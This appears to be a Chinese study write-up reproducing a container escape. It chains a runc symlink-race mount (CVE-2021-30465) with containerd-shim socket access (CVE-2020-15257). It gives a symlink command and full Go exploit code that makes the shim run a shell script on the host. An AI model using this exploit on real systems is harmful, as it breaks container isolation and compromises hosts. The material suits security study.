在之前CVE-2020-15257的学习中提到了该漏洞的修复方式是把原本的抽象socket替换成文件socket,这样这些socket就能够收到mount namespace的隔离。而利用CVE-2021-30465可以挂载宿主中的任意目录到容器中,也就是说利用该漏洞,可以把containerd-shim socket所在的目录挂载到容器中,从而实现在容器中访问这些socket并实现逃逸。
首先,跟CVE-2021-30465的复现步骤一样,创建一个pod。下一个创建符号链接的步骤有一个不同的地方,之前的复现步骤里是指向宿主根目录,这里我直接指向的是containerd-shim socket所在的目录(当然像之前那样指向根目录也能够访问到这些socket)。
ln -s /run/containerd/s/ /test2/test2
后面的步骤也差不多,利用条件竞争将/run/containerd/s/目录挂载到容器的/test1/zzz/上。
进入成功挂载目录的容器里,使用跟CVE-2020-15257类似的方式向其中任一socket发起请求。需要注意的是,在这里的环境中,containerd默认用的是v2的shim(之前的复现中用的是v1),使用起来有点区别:
package main
import (
"context"
"net"
"github.com/containerd/ttrpc"
shimapi "github.com/containerd/containerd/runtime/v2/task"
)
func main() {
sock := "/test1/zzz/2665e78a394db764567c4690a5af0718ae0e0dc7292756ee8771295f69f4c7c7"
container_id := "f88a70eec15af27dbe668a5df963942b0d2fa6486209fab139e8278e6602f697"
fs := "/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/157/fs/"
conn, _ := net.Dial("unix", sock)
client := ttrpc.NewClient(conn)
shimClient := shimapi.NewTaskClient(client)
ctx := context.Background()
md := ttrpc.MD{}
md.Set("containerd-namespace-ttrpc", "notmoby")
ctx = ttrpc.WithMetadata(ctx, md)
shimClient.Create(ctx, &shimapi.CreateTaskRequest{
ID: container_id,
Bundle: "/run/k3s/containerd/io.containerd.runtime.v2.task/k8s.io/" + container_id,
Stdout: "binary:///bin/sh?-c="+fs+"shell",
})
}